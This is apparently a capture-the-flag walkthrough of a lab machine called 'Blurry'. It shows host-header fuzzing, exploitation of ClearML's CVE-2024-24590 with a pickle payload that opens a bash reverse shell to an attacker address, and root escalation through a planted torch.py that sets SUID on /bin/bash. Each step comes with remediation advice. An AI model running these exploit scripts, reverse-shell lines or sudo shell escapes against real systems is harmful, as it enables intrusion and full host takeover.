← all walkthroughs

Blurry

Linux· Medium
owned
2026-09-03
time to own
19m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon of blurry ($TARGET) found only SSH and a bare nginx redirect on port 80. Host-header fuzzing uncovered four hidden virtual hosts, one of which served a ClearML machine-learning platform (v1.13.1) with open self-registration.

Because ClearML 1.13.1 is vulnerable to CVE-2024-24590 — unsafe pickle deserialization in Artifact.get() — a self-registered account was used to upload a malicious pickled artifact into a project whose scheduled task automatically calls get() on tagged artifacts, giving code execution as the service account jippity and the user flag. On the host, an overly broad NOPASSWD sudo rule for a root-run model-evaluation wrapper trusted files under /models for both model weights and Python module imports; planting a malicious torch.py in that directory let the next sudo invocation import my code as root, which set the SUID bit on /bin/bash and produced full root access and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery via HTTP Host-header fuzzing
Scanned the host and discovered hidden virtual hosts
An nmap scan showed only SSH and HTTP were exposed. Requesting the bare IP on port 80 returned a 301 redirect to http://app.blurry.htb with the default 169-byte nginx page, indicating name-based virtual hosting was in use. Fuzzing the Host header against that baseline revealed four additional site names behind the same IP: app, api, files, and chat.
Bare-IP GET / -> 301 to http://app.blurry.htb/ with 169-byte default body; ffuf host-header fuzz vs BASELINE=169 surfaced api, app, chat, files.
Exact commands 4
Confirms only 22/tcp (ssh) and 80/tcp (nginx 1.18.0) are open.
nmap -sV -p- $TARGET
Shows the 301 redirect to http://app.blurry.htb/.
curl -sSI http://$TARGET/
Required for name resolution — the app breaks silently if this is added after tool init.
printf "$TARGET blurry.htb app.blurry.htb api.blurry.htb files.blurry.htb chat.blurry.htb\n" | sudo tee -a /etc/hosts
Filters out the 169-byte default vhost response to surface real subdomains.
ffuf -H 'Host: FUZZ.blurry.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169
2EnumerationVersion fingerprinting against a known CVE
Fingerprinted a vulnerable ClearML server version
App.blurry.htb served the ClearML web UI, and its unauthenticated version.json endpoint reported build 1.13.1-426. That release is affected by CVE-2024-24590, a critical pickle-deserialization vulnerability in ClearML's Artifact.get() that was only fixed in 1.14.3. Api.blurry.htb was confirmed as the paired ClearML API server via an unauthenticated debug.ping call.
GET app.blurry.htb/version.json returned version 1.13.1-426; api.blurry.htb debug.ping answered unauthenticated and self-identified as a ClearML API server.
Exact commands 2
Reveals ClearML server version 1.13.1-426.
curl -sS http://app.blurry.htb/version.json
Confirms the ClearML API endpoint, unauthenticated.
curl -sS http://api.blurry.htb/debug.ping
3Initial AccessAbuse of unrestricted account self-registration
Abused open self-registration to obtain an authenticated ClearML account
ClearML was configured to let any visitor create an account with no invite, email verification, or approval step. Self-registering gave a legitimate, fully authenticated session and API credentials that were required to reach the vulnerable artifact-upload code path.
ClearML UI allowed sign-up with an arbitrary username/password; Settings > Workspace > Create new credentials issued a working API key/secret pair.
Exact commands 2
No email verification or admin approval is enforced.
Browse to http://app.blurry.htb, click "Create new account", and register any username/password.
Paste the API host/web host/files host URLs and the credentials generated under Settings > Workspace.
clearml-init
FixDisable open self-registration on the ClearML serverMedium
WeaknessThe ClearML web UI let any visitor create a fully authenticated account with no invite, email verification, or admin approval, handing an unauthorised user the credentials and API access needed to reach the vulnerable artifact-upload workflow.
FixDisable public self-registration in ClearML server configuration and require admin-issued invites or SSO for new accounts. Review existing accounts for unauthorized sign-ups and rotate any credentials created outside that control.
4ExploitationInsecure deserialization (CVE-2024-24590, CWE-502) in ClearML Artifact.get()
Exploited CVE-2024-24590 pickle deserialization to get code execution as jippity
A scheduled task in ClearML's 'Black Swan' project ran roughly every two minutes and called Artifact.get() on every task in the project tagged 'review'. Artifact.get() unsafely unpickles the artifact's contents. A crafted Python object whose __reduce__ method invoked os.system() with a reverse-shell one-liner was uploaded as an artifact to a task in that project with the required tag; when the scheduler's job called get() on it, the pickle deserialized and executed as the service account, giving an interactive shell as jippity and the user flag.
Shell obtained returns uid=1000(jippity) gid=1000(jippity) groups=1000(jippity) on host blurry; /home/jippity/user.txt read successfully.
Exact commands 5
Must pin this exact client version — newer clients change the upload path and the vulnerable get() call is never reached.
pip install clearml==1.13.1
Reverse-shell listener on my box ($ATTACKER_IP); the callback fires on the ~2-minute scheduler tick, not immediately.
nc -lvnp 4444
Project_name must be exactly 'Black Swan' and the tag exactly 'review' to match the scheduled task's filter; pass the object itself to artifact_object, not a path to a pre-pickled file.
cat > exploit.py <<'EOF'
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"',))

task = Task.init(project_name='Black Swan', task_name='pwn', tags=['review'], output_uri=True)
task.upload_artifact(name='pwn', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')
EOF
Uploads the malicious artifact and waits for the scheduler to deserialize it.
python3 exploit.py
Run from the resulting shell; value replaced here as <user.txt>.
cat /home/jippity/user.txt
FixUpgrade ClearML server and pin clients to a patched releaseCritical
WeaknessThe ClearML server (build 1.13.1-426) contained an unauthenticated-reachable, unsafe pickle deserialization in the artifact-retrieval API (CVE-2024-24590), and a scheduled task in the 'Black Swan' project automatically called that vulnerable function on any artifact an authenticated user could upload.
FixUpgrade ClearML server and Python client to 1.14.3 or later (which removes unsafe pickle handling from Artifact.get()). Until upgraded, disable or tightly restrict any scheduled task/pipeline that calls artifact.get() on user-uploadable artifacts, and treat all model/artifact files as untrusted input.
5Privilege Escalation (Enumeration)Sudo privilege enumeration
Found a NOPASSWD sudo rule for a root-run model wrapper
Checking sudo permissions as jippity showed an unrestricted NOPASSWD rule letting the account run /usr/bin/evaluate_model against any .pth file under /models as root. This is a Python/PyTorch model-loading wrapper, a common source of insecure deserialization when it processes me-influenced model files.
Sudo -l output: '(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth'.
Exact commands 3
Non-interactive sudo listing.
sudo -n -l
Confirms NOPASSWD rule for /usr/bin/evaluate_model /models/*.pth.
sudo -l
SUID sweep; nothing else usable was found — the sudo rule was the path forward.
find / -perm -4000 -type f 2>/dev/null
6Privilege Escalation (Exploitation)Python module search-path hijack via a root-run wrapper with an unauthorised user-writable working directory (sudo/GTFOBins-style privilege abuse)
Hijacked evaluate_model's Python import path to run code as root
Evaluate_model runs /models/evaluate_model.py as root with /models placed first on the Python module search path. Dropping a file named torch.py into /models causes Python to import that file instead of the real torch library the very first time evaluate_model.py does import torch, running arbitrary my code as root before the script's own (and separately broken) malicious-pickle check ever executes. This was used to set the setuid bit on /bin/bash, yielding a root shell and the root flag.
Sudo /usr/bin/evaluate_model /models/demo_model.pth logged 'Model is considered safe...' then a ModuleNotFoundError, but /bin/bash immediately showed as -rwsr-sr-x root root; a follow-on shell returned euid=0(root) egid=0(root).
Exact commands 5
Plants a fake 'torch' module in the directory evaluate_model.py imports from.
echo 'import os; os.system("chmod +s /bin/bash")' > /models/torch.py
Any existing .pth works — the sudo rule's glob is literal, so the path must be exactly /models/*.pth.
sudo /usr/bin/evaluate_model /models/demo_model.pth
Spawns a shell with the newly-set setuid bit honored.
/bin/bash -p
Confirms euid=0(root).
/bin/bash -p -c '/usr/bin/id'
Run as root; value replaced here as <root.txt>.
cat /root/root.txt
FixRestrict and harden the evaluate_model sudo ruleCritical
Weaknessjippity had an unrestricted NOPASSWD sudo rule to run /usr/bin/evaluate_model as root against any file under /models, and the wrapper ran as root from a world-writable-by-jippity directory that was also first on its Python import path, letting a planted module (or a malicious .pth) execute arbitrary code as root. The script's own malicious-pickle guard was also broken (it checked a top-level .severity field that fickling never sets, so a plain os.system payload was never flagged).
FixRemove the NOPASSWD sudo grant (or scope it to a fixed, non-an unauthorised user-writable model file with no PATH/PYTHONPATH inheritance); run model evaluation in an unprivileged, isolated environment (container/venv with restricted filesystem access) instead of as root; and fix the pickle-safety check to correctly parse fickling's per-file severity results rather than a nonexistent top-level field.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp